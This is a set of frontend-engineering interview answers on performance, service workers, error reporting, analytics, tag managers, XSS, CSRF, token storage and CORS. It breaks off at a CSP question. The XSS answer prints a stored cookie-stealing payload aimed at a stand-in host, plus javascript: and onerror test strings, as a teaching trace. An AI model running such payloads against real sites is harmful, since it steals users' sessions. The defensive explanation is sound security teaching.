curl -I https://app.example.com/ after a deploy: expect 200 with the new HTML, then 304 on the next request carrying If-None-Match. curl -I https://app.example.com/assets/app.<newhash>.js: expect 200 with cache-control: public, max-age=31536000, immutable. Then confirm in DevTools that a returning session shows the new HTML and serves unchanged assets from disk cache with no network request.

Curated: · Written: · Reviewed:

Q&A-66A page makes six sequential requests before it can render. How do you flatten that?

Assume the six requests are on the critical path to first render and the first is the HTML document itself. The fix is to move discovery of the other five into the first response, so the browser issues them in parallel instead of one per round trip.

Why they're sequential: Chromium's preload scanner walks the raw HTML bytes ahead of the main parser and starts fetches for anything visible in markup. <script src>, <link rel=stylesheet>, <img>. It cannot see resources that only exist after another response is parsed: @import inside CSS, url() background images, fonts referenced from a stylesheet, dynamic import(), or a URL behind a 301. Each of those is a discovery hop, and a hop costs a full round trip because the browser has nothing to fetch until the previous response lands. Six hops at 100 ms RTT is 600 ms of pure latency before the first pixel.

Flatten it:

  • Inline critical CSS in the document head so the font and hero image are found by the preload scanner, not after a stylesheet round trip.
  • <link rel="preload" as="font" type="font/woff2" crossorigin> and as="image" for the first-screen font and hero.
  • <link rel="preconnect"> to third-party origins you will actually hit on first paint.
  • Remove redirect chains: a 301 to the canonical URL is a wasted RTT.
  • Server-render or stream the data so the first request returns markup, not a shell that then fetches JSON.
  • 103 Early Hints lets the origin send Link: rel=preload headers before the body is ready.
HopDiscovered byRTT before render
HTMLnavigation1
301 redirectresponse header2
CSSpreload scanner3
@importCSS parser4
fontCSS parser5
hero imageCSS parser6

After inlining critical CSS and preloading the font and hero, the HTML is hop 1 and the font, image and stylesheet go out together in hop 2: 2 RTT instead of 6. At 100 ms RTT that is 600 ms down to 200 ms.

Trade-offs: preload is a hint, not a guarantee. It competes for bandwidth and connection slots with resources the parser already found, and preloading something the parser would have discovered anyway adds bytes and can lower its priority. Chrome warns in the console when a preloaded resource isn't used within a few seconds: that is wasted bytes on the critical path. preconnect opens a socket and pays DNS plus TCP plus TLS, roughly 2–3 RTT, so it is worth it for an origin you hit on first paint and wasteful for one you hit on interaction. Keep the preload list to a handful of resources; each one delays the rest.

Failure modes: a preload whose as or crossorigin doesn't match the eventual request causes a double download. Fonts are always CORS, so a font preload without crossorigin fetches twice. Detect it in the DevTools Network panel as two requests for the same URL, or via Lighthouse's "preloaded but not used" audit. A preconnect to an origin that never gets used shows up as an idle socket.

Verify by comparing the waterfall before and after: the critical resources should start in the first round trip.

Curated: · Written: · Reviewed:

Q&A-67When is a service worker worth adding, and what can go wrong?

Worth adding when three things are true at once: users come back, the shell is mostly static, and you can hash your assets at build time. A content app, a docs site, a field tool on flaky mobile data. Not worth it for a page a user sees once, or where showing yesterday's number is worse than showing a spinner: a trading screen, a balance, a live inventory count.

What you get: the shell loads from disk on repeat visits, the app opens offline, and you get push and background sync, which no other web API provides.

What you pay: a second cache layer with no TTL that you own forever, plus a lifecycle that will serve old code to real users if you get it wrong.

The lifecycle is the hard part. A service worker installs, then waits. It does not take over until every tab controlled by the old one is gone, unless you call self.skipWaiting() in install and clients.claim() in activate. The browser re-fetches the worker script on navigation, and the spec requires an update check at least every 24 hours. If the script bytes are identical, nothing happens: you must ship a changed sw.js to trigger an update.

The classic failure. Cache-first on the HTML document, no revision. The user gets the shell from three weeks ago, the new deploy never reaches them, and clearing site data is the only fix. The fix is not "network-first on HTML" alone: it's precaching the HTML with a content revision so a new build produces a new cache key.

Workbox 7 does that for you:

// sw.js
import { precacheAndRoute, cleanupOutdatedCaches } from 'workbox-precaching';
import { registerRoute } from 'workbox-routing';
import { NetworkFirst, CacheFirst } from 'workbox-strategies';
import { ExpirationPlugin } from 'workbox-expiration';

precacheAndRoute(self.__WB_MANIFEST); // index.html + hashed assets, each revision-hashed
cleanupOutdatedCaches();

registerRoute(({request}) => request.mode === 'navigate',
  new NetworkFirst({ cacheName: 'pages', networkTimeoutSeconds: 3 }));

registerRoute(({request}) => request.destination === 'image',
  new CacheFirst({
    cacheName: 'images',
    plugins: [new ExpirationPlugin({ maxEntries: 60, maxAgeSeconds: 30 * 24 * 60 * 60 })],
  }));

__WB_MANIFEST is injected at build time; each entry carries a revision hash, so changing index.html changes its precache URL and the old entry is deleted on activate. networkTimeoutSeconds: 3 means a hanging request falls back to cache after 3 s instead of blocking the navigation.

Failure modes, and how you'd catch each:

FailureCauseDetection
Permanently stale shellcache-first HTML, no revisiondeploy, reload in a returning profile, check the build hash
White screen after deployskipWaiting + clients.claim while a tab holds old HTML that requests a deleted chunkkeep a tab open across a deploy
Cache grows without boundCache Storage has no TTL; maxAgeSeconds is enforced by Workbox on read, not by the browsernavigator.storage.estimate()
Caches vanisheviction is per-origin and all-or-nothingfill the quota in a test
Media caching throwscache.put rejects a 206 partial response with TypeErrorcache a video file
Silent bad cache entriesopaque cross-origin responses have status 0: a 404 and a 200 look identicalcache a CDN font with no-cors

Two more that bite: the worker installs after the first page load, so visit one is never served from cache; and its scope is the directory it's served from, so /js/sw.js can't control /.

How I'd verify it. Deploy a change, then in a returning profile confirm the new build hash appears on the next navigation without clearing storage. Then throttle to Slow 3G, go offline, and reload: the shell should paint. If either fails, the update path is broken, and that's the bug that matters.

Curated: · Written: · Reviewed:

Q&A-69A single-page application slows down after twenty minutes of use. How do you investigate?

What I'd say first

"Slows down after twenty minutes" is at least three different bugs, and one question splits them: does a reload fix it?

  • Reload fixes it → something accumulates inside the page: heap, listeners, timers, subscriptions, DOM nodes, or framework state.
  • Reload doesn't fix it → the page is fine and the environment changed: backend latency, a growing dataset, a websocket feed, or the device thermally throttling.

I'd ask that before opening a profiler. I'd also pin down "slows down": which interaction, and is it monotonic or a cliff at a specific minute? A cliff points at a threshold (a cache filling, a list crossing a size); monotonic growth points at accumulation.

Measure the same interaction twice

Reproduce with a scripted session, Playwright or a recorded macro, that performs the identical interaction at minute 1 and minute 20, and record both in the Chrome DevTools Performance panel. Compare in this order:

Signal at minute 20 vs minute 1Likely causeNext measurement
Scripting time up, heap up, GC more frequentretained objectsheap snapshots, allocation timeline
DOM node count updetached nodes or unbounded listMemory panel, detached-node filter
Layout time up, node count flatforced reflow / layout thrashPerformance panel layout trace
Scripting flat, request count uppolling, no cache, growing payloadNetwork panel, request count
Everything flat, wall-clock latency upbackend or device throttlingserver-side traces, CPU temperature

Memory, if reload fixes it

Take a heap snapshot at minute 1 and another at minute 20, then use the Comparison view and sort by delta. Check the "Detached" filter: detached DOM nodes are the signature of a component that removed an element but kept a reference. Snapshotting forces a GC and pauses the page for tens to hundreds of milliseconds, so do it in a controlled session; the allocation sampling timeline has much lower overhead if you need to watch a live user.

Worked example, hypothetical figures: a chart component subscribes to a ResizeObserver on mount and never unsubscribes. Each subscription retains the last rendered dataset, 5 MB. After 40 navigations the heap holds 40 × 5 MB = 200 MB of dead datasets, and the comparison view shows 40 retained ResizeObserver entries under one constructor. Adding the cleanup returns the delta to roughly zero.

CPU and rendering, if heap is flat

If heap is flat but scripting time grows, look for work that scales with state: an O(n²) dedupe over a list that only grows, a selector run on every keystroke, a useEffect with a missing dependency array re-subscribing each render. React DevTools Profiler's ranked view shows which components re-render per commit and how long each takes; a component whose render time grows with session length is the culprit. Vue's devtools performance timeline gives the equivalent.

Network

If scripting and layout are flat, count requests. A setInterval poll at 1 request/5 s is 240 requests over 20 minutes; if each response is appended to a list, network and DOM grow together. Check for cache headers that changed, or a websocket that replays history on reconnect.

Trade-offs in the fix

Bounding a cache trades hit rate for memory; evicting on a timer trades memory for extra recomputation. Neither is free, so pick based on which the profile shows dominating. Instrumentation has the same shape: heap snapshots are precise but pause the page, allocation sampling is cheap but approximate.

Confirm it

Re-run the same scripted session and assert the numbers return to baseline: heap delta near zero after forced GC, DOM node count flat, p95 interaction time within ~10% of minute 1. Without that check, a change that happens to shift timing looks like a fix.

Curated: · Written: · Reviewed:

Q&A-70Your local audit scores well but users complain the site is slow. Why?

The 60-second answer

A lab audit and your users are measuring different populations, and often different metrics. Lighthouse runs one page, one device profile, one network profile, with a warm-ish cache and no third-party variance. Your users are the 75th percentile of real sessions: mid-range Android on 4G, cold cache, consent banner, ad tags, logged-in personalization, and they are clicking, not just loading. A 95 lab score and "the site is slow" are both true at once.

Why they diverge

Lab. The Lighthouse mobile preset applies simulated throttling: 4x CPU slowdown and Slow 4G (150 ms RTT, 1.6 Mbps down, 750 kbps up), and reports a weighted composite: LCP 25%, TBT 30%, CLS 25%, FCP 10%, SI 10%. A high score means the blend is good, not that every metric is good. A page with a 3.9 s LCP can still score in the 90s if TBT and CLS are near zero.

Field. CrUX reports the 75th percentile over a 28-day rolling window; your RUM reports whatever you instrument. The percentile is the point: a good mean hides a bad tail. If 30% of sessions are mid-range Android, the p75 sits inside that group.

Lighthouse also does not measure INP. It measures TBT as a proxy. A page can load in 1.5 s and still feel slow because hydration or a tag manager blocks the main thread for 800 ms on the first tap. Users say "slow" about interaction, not only load.

Worked example (hypothetical figures)

70% desktop, LCP 1.8 s. 30% mid-range Android, LCP 6.5 s.

Mean = 0.7 x 1.8 + 0.3 x 6.5 = 1.26 + 1.95 = 3.21 s. p75 falls inside the Android group, so p75 is about 6.5 s. The lab desktop run reports 1.8 s.

Same page, three numbers, three stories. The lab number is the one nobody experiences.

Failure modes and how to catch them

  • Audit run on the wrong page. Homepage scores 95; users land on a product page with a carousel and twelve third-party tags. Detect: segment RUM by entry page.
  • Warm cache, logged out. The audit hits a CDN-cached anonymous page; users get personalized HTML. Detect: compare TTFB cached vs uncached, logged-in vs out.
  • Desktop preset. Detect: check which Lighthouse preset produced the score.
  • Consent banner and ads missing from the audit. Detect: run the audit with the tag manager enabled.
  • Load metrics fine, interaction bad. Detect: INP in CrUX/RUM, TBT in the lab.

What to do

Instrument RUM and report p75, not the mean, segmented by device class, network, country and entry page. Set targets on the Web Vitals thresholds: LCP good at 2.5 s or under, poor above 4.0 s; INP good at 200 ms or under, poor above 500 ms; CLS good at 0.1 or under, poor above 0.25. Use the lab only to reproduce and bisect a regression the field already found.

Lab data debugs. Field data decides.

Curated: · Written: · Reviewed:

Q&A-82How do you find out about frontend errors that users hit but never report?

Core answer (first 90 seconds). Instrument the browser directly. Three listeners cover most of it: a capture-phase error listener on window for uncaught exceptions and resource load failures, unhandledrejection for rejected promises, and your framework's error hook (React error boundary, Vue app.config.errorHandler) for render-time throws that would otherwise blank a subtree. Send each event with message, stack, release, environment, route, and a session id. Upload source maps privately at build time so the backend can resolve minified frames. Group by fingerprint, and alert on error rate per session, not per event. Verify the whole path by throwing a known error in production and confirming the report shows original source and the release that introduced it.

The listeners, concretely.

// capture phase: resource errors (img/script) fire on the element and don't bubble
window.addEventListener('error', (e) => {
  if (e.target && e.target !== window) {
    report({ type: 'resource', tag: e.target.tagName, url: e.target.src || e.target.href });
    return;
  }
  report({ type: 'error', message: e.message, stack: e.error?.stack, file: e.filename, line: e.lineno });
}, true);

window.addEventListener('unhandledrejection', (e) => {
  report({ type: 'rejection', reason: String(e.reason), stack: e.reason?.stack });
});

Why the naive version fails. A minified stack (a.b.c at line 1) tells you nothing; without source maps you can't map it to a file and line. Without a release tag you can't tell whether a fix already shipped. Without grouping you get one issue per user instead of one issue. Without rate alerting you page on a single user's flaky extension.

ReportTop frameActionable
minifieda.b.c at line 1no
source-mappedCartTotal.tsx:42yes

Failure modes to design around.

  • Ad blockers. Privacy extensions block third-party SDK domains, so a chunk of your users report nothing. Route events through a first-party endpoint (Sentry's tunnel option, or your own /api/errors proxy).
  • Cross-origin scripts. A script served from another origin without CORS headers reports only "Script error." with no stack. Serve it with Access-Control-Allow-Origin and load it with crossorigin="anonymous".
  • Unload-time errors. A synchronous XHR or fetch on unload is dropped; use navigator.sendBeacon.
  • PII. Messages and URLs carry emails, tokens, and query params. Scrub before send, not after.
  • Sampling. Sample traces, not errors: errors are rare enough to send at 100%.

Sizing the alert. Hypothetical: a checkout bug throws for 4% of sessions on 50,000 daily sessions. 2,000 sessions/day, roughly 1.4/minute. An alert on error rate per session crossing 0.5% fires within minutes; an alert on individual events fires 2,000 times and gets muted.

Curated: · Written: · Reviewed:

Q&A-83A product manager asks you to track a new flow. How do you instrument it well?

First question back to the PM: what decision does this data drive, and what is the smallest event set that answers it? A flow instrumented for "we might want it later" produces events nobody can define in three months. Then I write a tracking plan before any code, and emit from one place rather than scattering calls across components.

The plan is a table, one row per step, agreed with the PM and the engineer who owns the surface.

EventFires whenPropertiesEmitted from
checkout_startedcart page submitscart_value, item_count, currencyclient
payment_submittedpayment request sentorder_id, amount, currencyserver
purchase_completedpayment provider confirmsorder_id, revenue, currencyserver

Naming is object_action, past tense, no version suffixes. Properties are typed and required or optional; a missing required property is a bug, not a null.

Where to emit. The real decision is client vs server, and it is per event, not per flow.

Client-sideServer-side
SeesUI intent, clicks, abandonsconfirmed state, money moved
Blind toad blockers, offline, tab closeanything before the request
Trustlow: can be spoofed, droppedhigh: same source of truth as the DB
Costcheap, high volumeneeds a pipeline and schema

Rule I use: revenue and anything that must reconcile with the payment provider goes server-side; intent and UI friction goes client-side. A purchase fired only from the browser will undercount by the ad-blocker rate, which is routinely 10-30% on consumer traffic: you cannot report conversion off it.

Sampling. For high-volume events (impressions, scroll, search-as-you-type) sample at the emitter, 1-10%, and store the sample rate as a property so rates stay computable. Never sample a funnel entry and not its exit: if checkout_started is sampled at 10% and purchase_completed at 100%, the conversion rate is wrong by 10x. Sample the whole funnel or none of it.

Off-the-shelf vs custom. A tool like Segment or Amplitude gets you destinations and a schema registry in a day; use it unless you need joins to internal tables (cohort by plan, by support ticket) or strict PII control, in which case emit to your own store and join there. Do not build a custom pipeline for a five-event flow.

Failure modes I have actually hit. A checkout redesign renamed purchase_completed, so conversion read zero for 4 days until someone reconciled the dashboard against the payment provider. A SPA fired checkout_started twice per submit because the route-change handler and the button handler both fired: caught by a duplicate-rate alert, not by reading code. A property shipped on web but not iOS, so the mobile slice was null for a week.

Validation before calling it done. Fire every event in staging and assert three things: it arrives exactly once, every required property is present and typed, and the value matches the source system. Then alert on daily volume per event: a 30% drop in an hour is the signal that catches a rename or a broken deploy.

Detection is the deliverable as much as the events: a plan, one emission point per event, and a volume alert per event.

Curated: · Written: · Reviewed:

Q&A-81Marketing wants to add three tag-manager scripts. What do you say?

I don't say no. I say: yes to the ones that earn it, and here's the bar. Then I give marketing three things: what each script costs, what I need from them to say yes, and the one condition that makes the answer no regardless.

The first thing to say out loud: a tag manager is not a script, it's a deploy pipeline into your page. Once the container is in, anyone with access to it can add a fourth, fifth and sixth script without a pull request or a conversation with me. So the real question isn't "three scripts": it's "who can add script number four, and how do I find out when they do." That reframes the meeting from a yes/no on three files to a standing agreement about the container.

Then the trade-off, per script. Three questions decide it:

  • Does it run before the user consents? If yes, it's a legal problem before it's a performance problem. Consent-gated tags must not fire until the consent signal is set.
  • Does it need to run at page load at all? A chat widget that only matters when someone clicks "chat" can load on that click. An analytics tag can load async after the page is interactive.
  • Does it touch personal data? If it reads form fields or sets identifiers, it needs a named owner and a data-processing agreement, not just a size budget.

Where the answers are no, no, no, I say yes and move on. Where they're yes, yes, yes, I say no: that's the case where blocking outright is correct, and I'd rather say it in the meeting than discover it in an incident.

The middle case is most of them, and that's where I bring numbers. Hypothetical figures from a page I measured, each script toggled on and off:

ScriptTransferMain-threadCLSVerdict
analytics tag120 KB400 ms0.00yes, async, consent-gated
chat widget180 KB600 ms0.02yes, load on click
banner tool40 KB200 ms0.22no until it reserves space

The banner is the interesting one: 40 KB is nothing, but 0.22 CLS is a Core Web Vitals failure on its own. The "good" threshold is 0.1. Small and cheap is not the same as harmless, and that's the argument that lands with a marketing team, because it's the one that costs them search ranking.

How I'd get those numbers, so marketing can watch me do it rather than take my word: load the page with each script on and off, and read performance.getEntriesByType('resource') for transferSize and duration per URL. Cross-origin entries report transferSize 0 unless the response carries Timing-Allow-Origin, so I'd ask the vendor for it or fall back to the network panel. In Chromium browsers I'd wrap the page in a PerformanceObserver for longtask entries to attribute main-thread time, and watch layout-shift entries for the shift; neither entry type exists in Safari, so field data from real users is the tiebreaker. Report p75 over a week, not one run on my laptop.

Failure modes I'd name in the room:

  • The container grows. Someone adds a tag in the tag-manager UI and nobody reviews it. Detection: alert on new third-party origins appearing in resource timing.
  • The script hangs. A third party that never responds can hold a render-blocking slot. Detection: a resource entry with no completion, or a long task at load.
  • Consent fires late. Tags that queue before consent and flush after can still set cookies. Detection: check what's written to storage before the consent signal.

What I'd ask marketing for: an owner per script, a reason it can't load later, and agreement that anything added to the container later comes back through this same conversation. That's the yes.

Curated: · Written: · Reviewed:

Q&A-76Where does cross-site scripting come from in a modern frontend, and how do you prevent it?

The 90-second answer. XSS is a context bug, not a framework bug. Every sink that parses a string as HTML, as a URL, or as code is an injection point, and frameworks only close the ones they own. React escapes {value} in a text position, Vue escapes {{ }}, Angular sanitizes [innerHTML], but dangerouslySetInnerHTML, v-html, {@html} and bypassSecurityTrustHtml are explicit opt-outs, and none of them cover href={userInput} or el.innerHTML = x. Prevention: keep data in text positions, sanitize with a maintained library when you genuinely need markup, allowlist URL schemes by parsing, and add CSP with Trusted Types as a layer that catches what you missed.

Where the holes are.

SinkEscaped by default?What it needs
{value} / {{ }} text interpolationyesnothing
dangerouslySetInnerHTML / v-html / {@html}nosanitizer
[innerHTML] (Angular)yes, sanitizedbypassSecurityTrustHtml opts out
href / src / formaction from inputnoscheme allowlist
innerHTML, insertAdjacentHTML, document.writenosanitizer or textContent
eval, new Function, setTimeout(string)nodon't

One trace. A Vue 3 component renders a comment with <div v-html="comment.body">. The compiler emits el.innerHTML = comment.body. A stored payload <img src=x onerror="fetch('//evil.example/'+document.cookie)"> goes to the browser's HTML parser, which builds an img element; the src request fails, onerror fires, and the handler runs in the page's origin with access to document.cookie unless the session cookie is HttpOnly. Nothing in Vue is broken: v-html did what it says. Switching to {{ comment.body }} makes Vue write textContent, and the same string renders as visible text.

The fix, in order.

  1. Render untrusted values as text. When you need markup, sanitize at render time with DOMPurify (3.x) and an explicit allowlist, not on input, because the same value may later be rendered into a different context, and not with a hand-rolled regex, because the browser's parser is what you are defending against.
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(comment.body, {
  ALLOWED_TAGS: ['p','br','b','i','em','strong','a','ul','ol','li','code','pre'],
  ALLOWED_ATTR: ['href','title'],
});
  1. Allowlist URL schemes by parsing, not matching:
const OK = new Set(['http:', 'https:', 'mailto:']);
function safeHref(raw) {
  try {
    const u = new URL(raw, location.origin);
    return OK.has(u.protocol) ? u.href : '#';
  } catch { return '#'; }
}

new URL strips the tab and newline characters that java\nscript: tricks rely on, so the protocol check sees javascript: and rejects it. A regex like /^javascript:/i does not.

  1. CSP as a backstop, not a fix:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0m' 'strict-dynamic';
  object-src 'none'; base-uri 'none'; require-trusted-types-for 'script'

require-trusted-types-for 'script' makes innerHTML = string throw in Chromium; Firefox and Safari do not enforce it, so it hardens the experience for some of your users rather than acting as a control you can rely on. Roll CSP out in report-only first and read the reports.

Failure modes worth naming. Sanitizer output re-parsed by the browser can produce new markup (mutation XSS): the reason you use DOMPurify instead of your own allowlist. Markdown renderers with html: true (marked, markdown-it) are raw HTML sinks wearing a documentation hat. Rich-text editors that store HTML and render it on another page move the sink somewhere you are not looking. And javascript: in an href is a click-triggered XSS that no amount of text escaping prevents.

Verification. Submit <img src=x onerror=alert(1)> and javascript:alert(1) through every field, then confirm in the DOM inspector that the first renders as text and the second is neutralised. Add eslint-plugin-no-unsanitized or a CodeQL query so CI fails on new innerHTML assignments.

Curated: · Written: · Reviewed:

Q&A-77What is cross-site request forgery, and what actually stops it?

The 90-second answer. CSRF is another site making the victim's browser send an authenticated request to yours. The browser attaches ambient credentials (cookies, HTTP Basic, TLS client certs) because the request is addressed to your origin. The attacker cannot read the response (same-origin policy), but does not need to: the side effect already happened. What stops it is making the request unforgeable. A SameSite=Lax or Strict session cookie kills the cross-site form post and the cross-site fetch; a per-session token the attacker's page cannot read covers what SameSite misses, including top-level GET navigations and Chrome's two-minute Lax+POST window. Origin and Sec-Fetch-Site checks are a cheap second layer. CORS configuration, "it's a POST", and Referer checks are not controls.

Why the browser cooperates. Cookies are scoped to the origin, not to who initiated the request. A form on evil.example posting to https://app.example.com/password is a request to your origin, so your SameSite=Lax session cookie rides along. The attacker never sees the response; the password change already committed. That asymmetry, write without read, is the whole attack.

What each control actually blocks.

ControlCross-site form POSTCross-site fetchTop-level GET navXSS on your origin
SameSite=Lax cookieblockedblockedcookie sent—
SameSite=Strict cookieblockedblockedblocked—
Session-bound tokenblockedblockedblockednot blocked
Origin header checkblockedblockedOrigin absentnot blocked

Two rows matter. Lax does not cover top-level navigation, so a state-changing GET is still exploitable: the fix is to not have one. And Origin is absent on GET navigations, so treat a missing Origin as "fall through to the token", not as "allow".

The check, in order. Cheap header tests first, token last, because the token comparison is the only one that touches session state.

// Express 4 on Node 20.
const crypto = require('crypto');

function tokenOk(sent, expected) {
  if (typeof sent !== 'string' || typeof expected !== 'string') return false;
  const a = Buffer.from(sent), b = Buffer.from(expected);
  return a.length === b.length && crypto.timingSafeEqual(a, b); // throws on length mismatch
}

app.use((req, res, next) => {
  if (req.method === 'GET' || req.method === 'HEAD' || req.method === 'OPTIONS') return next();
  const site = req.get('Sec-Fetch-Site');
  if (site && site !== 'same-origin' && site !== 'same-site') return res.sendStatus(403);
  const origin = req.get('Origin');
  if (origin && origin !== 'https://app.example.com') return res.sendStatus(403);
  if (!tokenOk(req.get('X-CSRF-Token'), req.session.csrfToken)) return res.sendStatus(403);
  next();
});

Generate the token with crypto.randomBytes(32).toString('base64url'), store it in the session, and rotate it on login. Requiring a custom header is itself a defense: a form cannot set one, and a cross-origin fetch that sets one triggers a preflight your CORS policy will refuse.

Failure modes, and how you find them.

  • State-changing GET. SameSite=Lax sends cookies on top-level navigation, so GET /email/change?to=… is exploitable from a link. Detect by auditing the route table for mutating GETs; convert them to POST.
  • Chrome's Lax+POST. Cookies set within the last two minutes are sent on cross-site top-level POST, so a just-logged-in user is briefly exposed if Lax is your only control. The token closes it.
  • Unsigned double-submit cookie. If the token is only compared cookie-to-body, an attacker who controls a sibling subdomain can set a cookie on the parent domain and match it. Bind the token to the session server-side, or HMAC it.
  • XSS. The attacker reads the token out of the DOM. CSRF tokens are not an XSS control, and no CSRF defense survives XSS.
  • Token in a URL. It leaks through Referer and access logs. Keep it in a header or a form body.

Detection. Log every 403 from this middleware with the Origin and Sec-Fetch-Site values. A spike of cross-site 403s on one endpoint is either a broken integration or an active attempt, and the two look different in the log. Then verify by hand: submit the state-changing request from a different origin and confirm the server rejects it.

What does not work. CORS configuration: a simple cross-origin POST never preflights, so the request is delivered and the side effect lands. Checking the method alone. Checking Referer alone, since Referrer-Policy: no-referrer and privacy tooling strip it. SameSite=Strict is stronger than Lax but breaks inbound links (the user arrives logged out), so reserve it for high-value actions where that cost is acceptable.

Curated: · Written: · Reviewed:

Q&A-78How should a single-page application handle access and refresh tokens?

The 90-second answer. Assume a first-party SPA on HTTPS with a server you control. Keep the refresh token in an HttpOnly; Secure; SameSite=Lax cookie scoped with Path=/auth/refresh, so the browser sends it to exactly one endpoint and no script can read it. Keep the access token in a JavaScript variable in memory and attach it as an Authorization: Bearer header. Refresh by POSTing to that endpoint with credentials; on a 401, refresh once and retry the original request once. Rotate the refresh token on every use, and revoke the whole token family if a consumed one is presented again.

Why not localStorage: anything there is readable by any script on the origin, including a compromised npm dependency, and it persists across reloads and tabs. A memory-only access token dies with the tab, which is the point.

The client.

// evergreen browsers, 2024
let accessToken = null;      // memory only, never persisted
let refreshPromise = null;   // single-flight guard

async function refresh() {
  const res = await fetch('/auth/refresh', {
    method: 'POST',
    credentials: 'same-origin',   // sends the HttpOnly cookie
  });
  if (!res.ok) throw new Error('refresh failed');
  accessToken = (await res.json()).access_token;
  return accessToken;
}

async function api(path, opts = {}) {
  const call = () => fetch(path, {
    ...opts,
    headers: { ...opts.headers, Authorization: `Bearer ${accessToken}` },
  });
  let res = await call();
  if (res.status !== 401) return res;
  refreshPromise ??= refresh().finally(() => { refreshPromise = null; });
  await refreshPromise;          // retry once, never loop
  return call();
}

Trace of the race that matters. Two components mount and both call api() with a stale token. Both get 401. The first evaluates refreshPromise ??= ..., finds null, and starts the POST. The second finds a pending promise and awaits the same one. Result: one POST /auth/refresh, one rotation, both retries carry the new token. Remove the ??= guard and you get two POSTs: the server rotates on the first, the second presents the now-consumed token, reuse detection fires, and the family is revoked. Every tab is logged out. That is the single most common self-inflicted bug in this design.

Storage options.

WhereExfiltrated by XSSUsable in place by XSSSurvives reload
localStorageyesyesyes
sessionStorageyesyesyes (per tab)
JS variableyesyesno
HttpOnly cookienoyesyes

The cookie row is the honest trade-off: HttpOnly stops exfiltration, not abuse. An XSS can still call /auth/refresh and get a fresh access token. What it cannot do is copy the long-lived credential off the machine and keep using it after the tab closes.

Lifetimes and rotation. Access token 5–15 minutes; refresh token 7–30 days with rotation on every use and an absolute expiry. With a 10-minute access token, a leaked one is useful for at most 10 minutes. With rotation plus reuse detection, a stolen refresh token is caught the next time the legitimate client refreshes: bounded by the access-token TTL, not by the refresh token's 30-day life. Without rotation, a stolen refresh token is good for the full 30 days.

Failure modes and how you see them.

  • XSS in the SPA. Access token stolen from memory. Detect via CSP violation reports and API calls from unfamiliar IPs. Mitigate with a short TTL and a strict CSP.
  • Refresh reuse. Family revoked, user logged out. Log every reuse event and alert on it: a spike is either a theft or your own multi-tab race.
  • SameSite=Strict on the refresh cookie. A user arriving from an external link has no cookie on the first navigation, so the session appears dead. Use Lax, and make the refresh endpoint POST-only: Lax still sends cookies on top-level GET navigations.
  • CSRF on the refresh endpoint. Lax blocks cross-site POSTs; the response is unreadable cross-origin anyway. Add a custom header requirement as defence in depth.

Alternatives. If you control the server, the BFF pattern is stronger: the SPA holds only a session cookie and the server keeps both tokens, so no token ever reaches JavaScript. For high-value APIs, sender-constrained tokens (DPoP) bind the token to a key the attacker does not have.

What I would verify. From the console, no token is reachable by page scripts. Logout revokes server-side, not just clears the client. A revoked session fails on the next request, not at access-token expiry. And no token ever appears in a URL: Referer headers, server logs and browser history all leak those.

Curated: · Written: · Reviewed:

Q&A-79A request works in a tool but fails in the browser with a CORS error. What is happening?

The 90-second answer. The browser is enforcing a policy the server never opted into. curl, Postman and server-to-server calls don't send an Origin header and don't run the same-origin check, so the request succeeds there. In the browser the response arrives and the browser refuses to hand it to your JavaScript unless the server's headers permit it. The request itself often still executed on the server: a POST that "failed" may have created the row.

Two paths decide what the server must send.

A simple request: GET, HEAD, or POST with Content-Type of application/x-www-form-urlencoded, multipart/form-data, or text/plain, and only safelisted headers like Accept, Accept-Language, Content-Language: goes straight out. The browser then checks the response for Access-Control-Allow-Origin matching your page's origin (or *).

Anything else triggers a preflight: the browser sends OPTIONS first with Access-Control-Request-Method and Access-Control-Request-Headers, and only sends the real request if that comes back 2xx (204 is typical) with the right headers.

What you sendPreflightHeaders the server must return
GET, no custom headersnoAccess-Control-Allow-Origin: https://app.example.com
GET with Authorizationyesabove plus Access-Control-Allow-Headers: Authorization
POST with Content-Type: application/jsonyesabove plus Access-Control-Allow-Methods: POST
Any request carrying cookiesdepends on method/headers, not on the cookiesAccess-Control-Allow-Origin exact origin, Access-Control-Allow-Credentials: true

The console tells you which one failed. Missing header: "No 'Access-Control-Allow-Origin' header is present on the requested resource." Preflight rejected: "Response to preflight request doesn't pass access control check: It does not have HTTP ok status." That second one usually means the framework routed OPTIONS to a 404 or 405 because no handler is registered for it.

Failure modes worth knowing:

  • Access-Control-Allow-Origin: * together with Access-Control-Allow-Credentials: true is rejected outright: the browser refuses the wildcard when credentials are involved. Echo the exact origin instead.
  • Caching: if a CDN caches the response without Vary: Origin, a response allowed for one origin gets served to another and fails. Add Vary: Origin.
  • Preflight caching: Access-Control-Max-Age cuts repeat OPTIONS calls, but browsers cap the value (Chrome at 7200 s, Firefox at 86400 s) so don't expect a week.
  • The side-effect trap: a blocked response doesn't undo the write. If a POST is non-idempotent, the browser error and the server state disagree.

To confirm, open DevTools → Network, find the OPTIONS (or the single request), and read the response headers and the console line together. The fix is on the server: return the exact origin, the method, and the header names the request actually used.

What interviewers are looking for

  • You name the same-origin policy as the enforcement point, and say the browser, not the server, is what changed between the two environments.
  • You separate simple requests from preflighted ones and can say what triggers a preflight: method, Content-Type, or a non-safelisted header.
  • You know the request may already have executed server-side, and that this matters for non-idempotent writes.
  • You know credentials plus wildcard origin is invalid, and that the fix is server headers rather than a client workaround.
  • You can read the console and Network tab to tell a missing header from a failed preflight.

Weak-answer patterns

  • "The server is down / it's a server bug": the server answered; the browser discarded the answer.
  • "Just add Access-Control-Allow-Origin: *" as a blanket fix. It breaks the moment credentials are involved, and it's a security decision, not a default.
  • "Disable CORS in the browser" or "use a proxy" with no acknowledgement that this is a dev-only workaround that hides a production misconfiguration.
  • Confusing CORS with authentication or with CSRF. CORS is not an auth check and does not stop a server-to-server caller.
  • Treating the preflight as the real request, or assuming the failed POST rolled back.

Follow-ups

  • Why does the browser enforce this and not the server? The policy protects the user's session from another origin's JavaScript; the server can't distinguish that caller from any other, so the browser is the only place the check can live.
  • How do you read a response header like Location or X-Request-Id? It must be listed in Access-Control-Expose-Headers; only safelisted response headers are visible otherwise.
  • How do you cut preflight cost? Access-Control-Max-Age, and keeping requests simple where the API allows it.
  • How do you handle a dev server on a different port? Allow that exact origin on the API, or proxy through the dev server so the browser sees one origin.
  • Does CORS protect the API? No. It constrains browser JavaScript. Authorization and rate limiting still have to be enforced server-side.

Curated: · Written: · Reviewed:

Q&A-80What does a content security policy buy you, and how do you roll one out without breaking the site?

The 90-second answer

